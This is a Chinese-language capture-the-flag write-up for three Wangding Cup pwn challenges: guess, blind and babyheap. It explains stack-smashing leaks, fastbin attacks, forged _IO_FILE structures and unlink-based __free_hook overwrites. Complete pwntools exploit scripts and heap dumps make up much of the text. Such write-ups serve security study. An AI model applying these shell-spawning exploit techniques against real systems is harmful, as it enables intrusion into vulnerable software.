網(wǎng)鼎杯第一場(chǎng)wp
-
guess
防護(hù)機(jī)制:
image.png
開(kāi)啟了canary和NX
簡(jiǎn)單的看了下反編譯的邏輯
HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
if ( HIDWORD(stat_loc.__iptr) == -1 )
{
perror("./flag.txt");
_exit(-1);
}
read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);
close(SHIDWORD(stat_loc.__iptr));
puts("This is GUESS FLAG CHALLENGE!");
發(fā)現(xiàn)它將flag讀取到棧上了,結(jié)合它開(kāi)的防護(hù)機(jī)制NX,可以想到smash the stack這種攻擊手法,利用 __stack_chk_fail 來(lái)打印想要的信息,因?yàn)閒lag在棧上,所以要先泄露出棧的地址,然后將argv[0]覆蓋成flag的地址,通過(guò)觸發(fā) _stack_chk_fail來(lái)將flag打印出來(lái)。棧的地址可以通過(guò)libc中的一個(gè)變量 _environ變量泄露出來(lái)。因?yàn)樵趌ibc中的全局變量 environ儲(chǔ)存著該程序環(huán)境變量的地址,而環(huán)境變量是儲(chǔ)存在棧上的,所以可以泄露棧地址,進(jìn)而計(jì)算出flag在棧上的地址。
while ( 1 )
{
if ( v6 >= v7 )
{
puts("you have no sense... bye :-) ");
return 0LL;
}
v5 = sub_400A11();
if ( !v5 )
break;
++v6;
wait((__WAIT_STATUS)&stat_loc);
}
puts("Please type your guessing flag");
gets(&s2);
if ( !strcmp(&buf, &s2) )
puts("You must have great six sense!!!! :-o ");
else
puts("You should take more effort to get six sence, and one more challenge!!");
return 0LL;
可以發(fā)現(xiàn)程序只能輸入三次,并且這里有g(shù)ets函數(shù),存在棧溢出,所以可以觸發(fā) _stack_chk_fail。因?yàn)橹荒茌斎肴危幸獦?gòu)造好輸入
思路:
- 先泄露libc地址
- 通過(guò)libc中的 __enviorn 變量泄露出棧地址
- 利用 _stack_chk_fail 打印出flag
幾個(gè)地址:
argv[0] = 0x7fffffffde88
buf_add = 0x7fffffffdd60
flag = 0x7fffffffdd30
offset = 0x128
flag_offset = 0x158
exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import*
context.log_level = 'debug'
p = remote('106.75.90.160',9999)
elf = ELF('./GUESS')
log.info('leak libc')
p.recv()
payload = 'a'*0x128
payload += p64(0x602048)
p.sendline(payload)
p.recvuntil('detected ***: ')
leak = u64(p.recv(6)+ '\x00'*2)
print hex(leak)
libc = leak - 0x20740
env_addr = libc + 0x3c6f38
print "env _add -->[%s]"%hex(env_addr)
log.info('leak stack address')
payload1 = 'a'*0x128 + p64(env_addr)
p.recvuntil('r guessing flag')
p.sendline(payload1)
p.recvuntil('detected ***: ')
leak_stack = u64(p.recv(6)+ '\x00'*2)
print "stack --> address[%s]"%hex(leak_stack)
log.info('show the flag')
stack_add = leak_stack
payload2 = 'a'*0x128 + p64(stack_add - 0x168)
p.recv()
p.sendline(payload2)
p.recv()
p.interactive()
-
blind
防護(hù)機(jī)制:

開(kāi)啟了Full RELRO,Canary和NX,所以改got表的操作就不可行了
簡(jiǎn)單分析下程序的邏輯
程序一共有三個(gè)功能:
- new 分配一個(gè)大小為0x68的chunk,并讀入content
- change 編輯chunk的內(nèi)容
- release 將chunk free 掉,但沒(méi)清空指針,這里存在uaf漏洞,同時(shí)這個(gè)操作只能做三次
同時(shí)程序存在system函數(shù)

? 同時(shí)分配的chunk的地址都存儲(chǔ)在bss段的一個(gè)數(shù)組中
?
因?yàn)椴豢梢孕薷膅ot表,同時(shí)沒(méi)有可以泄露地址的地方,所以改malloc hook那些操作也做不了。
但是它又存在system函數(shù),在bss段上存在 stdin,stderr,stdout等_IO_FILE結(jié)構(gòu)體的指針,
所以想到的是修改文件流的指針,使其指向偽造的IO_FILE結(jié)構(gòu)體來(lái)getshell。
因?yàn)槌绦虼嬖趗af漏洞,所以可以通過(guò)fastbins attck 分配到包含全局變量數(shù)組的chunk,就可以實(shí)現(xiàn)任意地址讀寫(xiě)。
大致思路是:
1. 利用fastbins attack控制全局變量數(shù)組
2. 向bss段寫(xiě)入偽造的_IO_FILE_plus 結(jié)構(gòu)體 以及 vtable數(shù)組
3. 修改stdout指針指向偽造的_IO_FILE_plus結(jié)構(gòu)體
-
fastbins attack 控制 ptr數(shù)組
new(0,'a\n') new(1,'b\n') delete(0) change(0,p64(0x60203d)+'\n') payload = 'a'*0x13 + p64(0x602020)+p64(0x602090)+ p64(0x602090+0x68)+ p64(0x602090+0x68*2) + p64(0x602090+0x68*3)+'\n' new(2,'a\n') new(3,payload) -
偽造 stdout結(jié)構(gòu)體
gef? p *(struct _IO_FILE_plus *) stdout $2 = { file = { _flags = 0xfbad2887, _IO_read_ptr = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_read_end = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_read_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_write_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_write_ptr = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_write_end = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_buf_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n", _IO_buf_end = 0x7f5b6742a6a4 <_IO_2_1_stdout_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7f5b674298e0 <_IO_2_1_stdin_>, _fileno = 0x1, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "\n", _lock = 0x7f5b6742b780 <_IO_stdfile_1_lock>, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x7f5b674297a0 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0xffffffff, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7f5b674286e0 <_IO_file_jumps> }偽造的IO_FILE_plus結(jié)構(gòu)體中的flags要滿(mǎn)足下面的條件
flag&8 = 0 and flag &2 =0 and flag & 0x8000 != 0 所以flag的值可以為0xfbad8000 或者0xfbad8080其他的根據(jù)原本的結(jié)構(gòu)體偽造就行了
fake_struct = p64(0x00000000fbad8000) + p64(0x602060)*7 + p64(0x602061) + p64(0)*4 fake_struct += p64(0x602060) + p64(0x1) + p64(0xffffffffffffffff)+ p64(0) fake_struct += p64(0x602060) + p64(0xffffffffffffffff) + p64(0) + p64(0x602060) fake_struct += p64(0)*3 + p64(0x00000000ffffffff) + p64(0) fake_struct += p64(0)+ p64(0x602090 + 0x68*3) fake_vtable = p64(system_addr)*10 + '\n'偽造后的結(jié)構(gòu)體
gef? p *(struct _IO_FILE_plus *)0x602090 $1 = { file = { _flags = 0xfbad8000, _IO_read_ptr = 0x602060 " `", _IO_read_end = 0x602060 " `", _IO_read_base = 0x602060 " `", _IO_write_base = 0x602060 " `", _IO_write_ptr = 0x602060 " `", _IO_write_end = 0x602060 " `", _IO_buf_base = 0x602060 " `", _IO_buf_end = 0x602061 " `", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x602060, _fileno = 0x1, _flags2 = 0x0, _old_offset = 0xffffffffffffffff, _cur_column = 0x0, _vtable_offset = 0x0, _shortbuf = "", _lock = 0x602060, _offset = 0xffffffffffffffff, _codecvt = 0x0, _wide_data = 0x602060, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0x0, _mode = 0xffffffff, _unused2 = '\000' <repeats 19 times> }, vtable = 0x6021c8 } -
在bss段寫(xiě)入偽造的fake_struct和fake_vtable
change(1,fake_struct[:0x68]) change(2,fake_struct[0x68:0xd0]) change(3,fake_struct[0xd0:]+'\n') change(4,fake_vtable+'\n') -
修改stdout指針指向偽造的fake_struct
change(0,p64(0x602090)+'\n')最終成功getshell
完整exp:
from pwn import * context.log_level='debug' #p=remote('106.75.20.44', 9999) p = process('./blind') elf = ELF('./libc.so.6') def new(idx,content): p.sendline('1') p.recvuntil('Index:') p.sendline(str(idx)) p.recvuntil('Content:') p.send(content) p.recvuntil('Choice:') def change(idx,content): p.sendline('2') p.recvuntil('Index:') p.sendline(str(idx)) p.recvuntil('Content:') p.send(content) p.recv() def delete(idx): p.sendline('3') p.recvuntil('Index:') p.sendline(str(idx)) p.recvuntil('Choice:') system_addr = 0x4008E3 new(0,'a\n') new(1,'b\n') delete(0) change(0,p64(0x60203d)+'\n') payload = 'a'*0x13 + p64(0x602020)+p64(0x602090)+ p64(0x602090+0x68)+ p64(0x602090+0x68*2) + p64(0x602090+0x68*3)+'\n' new(2,'a\n') new(3,payload) fake_struct = p64(0x00000000fbad8000) + p64(0x602060)*7 + p64(0x602061) + p64(0)*4 fake_struct += p64(0x602060) + p64(0x1) + p64(0xffffffffffffffff) + p64(0) fake_struct += p64(0x602060) + p64(0xffffffffffffffff) + p64(0) + p64(0x602060) fake_struct += p64(0)*3 + p64(0x00000000ffffffff) + p64(0)*2 + p64(0x602090 + 0x68*3) fake_vtable = p64(system_addr)*10 change(1,fake_struct[:0x68]) change(2,fake_struct[0x68:0xd0]) change(3,fake_struct[0xd0:]+'\n') change(4,fake_vtable+'\n') change(0,p64(0x602090)+'\n') p.interactive()
下面是比賽時(shí)沒(méi)做出來(lái)的
babyheap
防護(hù)機(jī)制:

防護(hù)機(jī)制開(kāi)啟了full RELRO,所以修改got表函數(shù)的內(nèi)容就不可行
簡(jiǎn)單的分析下程序邏輯:
有四個(gè)功能:
- alloc:分配一個(gè)大小為0x20的chunk,并向里面寫(xiě)入內(nèi)容
- edit:對(duì)chunk進(jìn)行編輯,總共只能編輯三次
- show: 打印chunk的內(nèi)容,這里可以進(jìn)行信息泄露
- free:將chunk free掉,這里沒(méi)將指針置為0,存在UAF漏洞
大致思路:
這題中有show函數(shù),所以應(yīng)該要泄露出libc的地址,然后改malloc_hook或者free_hook 來(lái)getshell
但是因?yàn)橄薅╩alloc的大小只能是0x20,所以要先想怎么產(chǎn)生一個(gè)unsorted bins中的chunk
這里的思路是利用UAF漏洞 ,進(jìn)行fastbins attack 分配包括下一個(gè)chunk size字段的chunk。
就可以修改下一個(gè)chunk的size字段為0xa1,然后free掉這個(gè)chunk,這樣就可以獲得unsorted bins 的chunk了。
再利用show功能就可以泄露出來(lái)libc的地址,這里要注意chunk overlap的影響。
因?yàn)樵赽ss段存在著存儲(chǔ)chunk地址的全局變量數(shù)組,所以可以利用unlink來(lái)修改free_hook的內(nèi)容
-
泄露heap地址
alloc(0,'aaaa\n') alloc(1,'bbbb\n') free(1) free(0) show(0) leak_heap = u64(p.recvline().strip('\n').ljust(8,'\x00')) heap_base = leak_heap - 0x30 -
fastbins attack 控制chunk1的size字段
#先要在chunk0上偽造好size字段 alloc(0,p64(0x31)*4) alloc(1,'bbbb\n') alloc(2,'cccc\n') alloc(3,'dddd\n') alloc(4,'eeee\n')#防止free掉的chunk和topchunk合并 fake_chunk = heap_base + 0x20 edit(0,p64(fake_chunk)+'\n') alloc(5,'aaaa\n')#chunk5 alloc(6,p64(0)+p64(0xa1)+'\n')

-
泄露libc地址
free(1) show(1) leak = u64(p.recvline().strip().ljust(8,'\x00')) main_arena = leak - 0x58 libc_base = main_arena - libc.symbols['__malloc_hook'] - 0x10 print "libc base address -->[%s]"%hex(libc_base) free_hook = libc_base + libc.symbols['__free_hook'] print "free_hook -->[%s]"%hex(free_hook) one_gadget = libc_base + 0xf1147 print "one_gadget -->[%s]"%hex(one_gadget) -
利用unlink修改free_hook為one_gadget
#這里unlink的chunk要在一開(kāi)始就構(gòu)造好,在free掉0xa1大小的chunk時(shí)就要進(jìn)行unlink #這里利用的是unlink向前合并,所以要偽造要進(jìn)行unlink的下下個(gè)chunk的prev_size字段以及size字段 #在這里需要檢查 next chunk 是否是空閑的(通過(guò)下下個(gè) chunk 的flag的最低位去判斷),在找下下個(gè)chunk(這里的下、包括下下都是相對(duì)于大小為0xa1的chunk而言的)的過(guò)程中,都是通過(guò)當(dāng)前chunk地址加上size大小找到的 #所以一開(kāi)始要分配5個(gè)chunk alloc(0,p64(0x31)*4) alloc(1,'b'*0x20)#chunk1 size will change -->0xa1 alloc(2,'c'*0x20) alloc(3,p64(0x90)+'\n') alloc(4,p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))#chunk2 alloc(5,p64(0x30)+p64(0x30)+'\n')#chunk5 #在chunk2中偽造要unlink的fake_chunk #在chunk5中偽造prev_size以及size字段 --------------------------------------------------------------------------------------- free(1) edit(4,p64(free_hook)+'\n') edit(1,p64(one_gadget)+'\n')unlink前堆的布局
gef? x/40gx 0x0000000001a1a000 0x1a1a000: 0x0000000000000000 0x0000000000000031 0x1a1a010: 0x0000000001a10061 0x0000000000000000 0x1a1a020: 0x0000000000000031 0x0000000000000031 0x1a1a030: 0x0000000000000000 0x00000000000000a1<--target chunk 0x1a1a040: 0x0000000000000000 0x6262626262626262 0x1a1a050: 0x6262626262626262 0x0062626262626262 0x1a1a060: 0x0000000000000000 0x0000000000000031 0x1a1a070: 0x6363636363636363 0x6363636363636363 0x1a1a080: 0x6363636363636363 0x0063636363636363 0x1a1a090: 0x0000000000000000 0x0000000000000031 0x1a1a0a0: 0x0000000000000090 0x0000000000000000 0x1a1a0b0: 0x0000000000000000 0x0000000000000000 0x1a1a0c0: 0x0000000000000000 0x0000000000000031 0x1a1a0d0: 0x0000000000000000 0x0000000000000031<--unlink chunk 0x1a1a0e0: 0x0000000000602068 0x0000000000602070 0x1a1a0f0: 0x0000000000000000 0x0000000000000031 0x1a1a100: 0x0000000000000030 0x0000000000000030<--fake size 0x1a1a110: 0x0000000000000000 0x0000000000000000 0x1a1a120: 0x0000000000000000 0x0000000000020ee1 0x1a1a130: 0x0000000000000000 0x0000000000000000unlink后堆的布局
gef? x/40gx 0x0000000001a1a000 0x1a1a000: 0x0000000000000000 0x0000000000000031 0x1a1a010: 0x0000000001a10061 0x0000000000000000 0x1a1a020: 0x0000000000000031 0x0000000000000031 0x1a1a030: 0x0000000000000000 0x00000000000000d1<-- 0x1a1a040: 0x00007f68429d7b78 0x00007f68429d7b78 0x1a1a050: 0x6262626262626262 0x0062626262626262 0x1a1a060: 0x0000000000000000 0x0000000000000031 0x1a1a070: 0x6363636363636363 0x6363636363636363 0x1a1a080: 0x6363636363636363 0x0063636363636363 0x1a1a090: 0x0000000000000000 0x0000000000000031 0x1a1a0a0: 0x0000000000000090 0x0000000000000000 0x1a1a0b0: 0x0000000000000000 0x0000000000000000 0x1a1a0c0: 0x0000000000000000 0x0000000000000031 0x1a1a0d0: 0x0000000000000000 0x0000000000000031<-- 0x1a1a0e0: 0x0000000000602068 0x0000000000602070 0x1a1a0f0: 0x0000000000000000 0x0000000000000031 0x1a1a100: 0x00000000000000d0 0x0000000000000030 0x1a1a110: 0x0000000000000000 0x0000000000000000 0x1a1a120: 0x0000000000000000 0x0000000000020ee1 0x1a1a130: 0x0000000000000000 0x0000000000000000

可以看到此時(shí)的chunk1在數(shù)組存儲(chǔ)位置的內(nèi)容已經(jīng)被修改為free_hook了,在向chunk1寫(xiě)入就可以修改free_hook的內(nèi)容了
-
完整exp:
from pwn import* context.log_level = 'debug' def alloc(idx,t): p.recv() p.sendline('1') p.recv() p.sendline(str(idx)) p.recv() p.send(t) def edit(idx,t): p.recv() p.sendline('2') p.recv() p.sendline(str(idx)) p.recv() p.send(t) def free(t): p.recv() p.sendline('4') p.recv() p.sendline(str(t)) def show(idx): p.recv() p.sendline('3') p.recv() p.sendline(str(idx)) #p = remote('106.75.67.115', 9999) p = process('./babyheap') elf = ELF('./babyheap') libc = ELF('./libc.so.6') sleep(5) alloc(0,p64(0x31)*4) alloc(1,'b'*0x20) alloc(2,'c'*0x20) alloc(3,p64(0x90)+'\n') alloc(4,p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10)) alloc(5,p64(0x30)+p64(0x30)+'\n') log.info("******************leak heap base address******************") free(1) free(0) show(0) leak_heap = u64(p.recvline().strip('\n').ljust(8,'\x00')) heap_base = leak_heap - 0x30 print "heap base address-->[%s]"%hex(heap_base) chunk2_add = heap_base+0x20 log.info("******************leak libc adress******************") edit(0,p64(chunk2_add)+'\n') alloc(6,'a\n') alloc(7,p64(0)+p64(0xa1)+'\n') free(1) show(1) leak = u64(p.recvline().strip().ljust(8,'\x00')) main_arena = leak - 0x58 libc_base = main_arena - libc.symbols['__malloc_hook'] - 0x10 print "libc base address -->[%s]"%hex(libc_base) free_hook = libc_base + libc.symbols['__free_hook'] print "free_hook -->[%s]"%hex(free_hook) one_gadget = libc_base + 0xf1147 print "one_gadget -->[%s]"%hex(one_gadget) log.info("******************unlink******************") edit(4,p64(free_hook)+'\n') edit(1,p64(one_gadget)+'\n') free(1) p.interactive()
?
?
